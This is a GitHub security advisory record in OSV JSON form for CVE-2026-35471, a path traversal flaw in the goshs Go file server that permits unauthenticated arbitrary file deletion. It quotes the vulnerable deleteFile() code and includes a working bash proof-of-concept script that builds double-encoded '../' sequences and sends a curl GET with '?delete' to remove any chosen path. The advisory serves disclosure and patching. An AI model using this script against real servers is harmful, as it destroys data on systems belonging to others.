CVE-2026-35471: goshs Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6qcc-6q27-whp8",
  "modified" : "2026-04-07T14:19:34Z",
  "published" : "2026-04-03T21:58:47Z",
  "aliases" : [ "CVE-2026-35471" ],
  "summary" : "goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)",
  "details" : "### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n    upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n    fileCleaned, _ := url.QueryUnescape(upath)\n    if strings.Contains(fileCleaned, \"..\") {\n        w.WriteHeader(500)\n        _, err := w.Write([]byte(\"Cannot delete file\"))\n        if err != nil {\n            logger.Errorf(\"error writing answer to client: %+v\", err)\n        }\n        // BUG: no return, falls through to os.RemoveAll\n    }\n\n    deletePath := filepath.Join(fs.Webroot, fileCleaned)\n    err := os.RemoveAll(deletePath)  // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nTARGET=\"${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\n\n# Double-encode \"..\" => %252e%252e\n# We don't know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target:  ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.5-0.20260401172448-237f3af891a9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35471"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:58:47Z",
    "nvd_published_at" : "2026-04-06T22:16:23Z"
  }
}